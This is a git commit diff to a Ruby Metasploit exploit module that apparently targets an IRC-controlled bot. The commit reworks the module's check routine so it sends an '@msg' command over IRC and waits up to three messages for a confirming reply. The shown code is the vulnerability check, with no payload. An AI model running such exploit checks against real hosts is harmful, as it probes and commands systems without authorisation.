added a 3 message window for recieving the check response

unstable
bwall 2013-03-28 21:14:52 -04:00
parent ce9f11aeb3
commit 6cf44d9c85
1 changed files with 13 additions and 7 deletions

View File

@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end
confirm_string = rand_text_alpha(8) confirm_string = rand_text_alpha(8)
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n") response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
print response
quit(sock) quit(sock)
disconnect disconnect
@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
def send_msg(sock, data) def send_msg(sock, data, startResponse = nil)
sock.put(data) sock.put(data)
data = "" data = ""
count = 3
begin begin
read_data = sock.get_once(-1, 1) begin
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1) read_data = sock.get_once(-1, 1)
end while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
if startResponse != nil and data.start_with?(startResponse)
startResponse = nil
end
count -= 1
end while startResponse == nil and count != 0
rescue EOFError rescue EOFError
end end
data data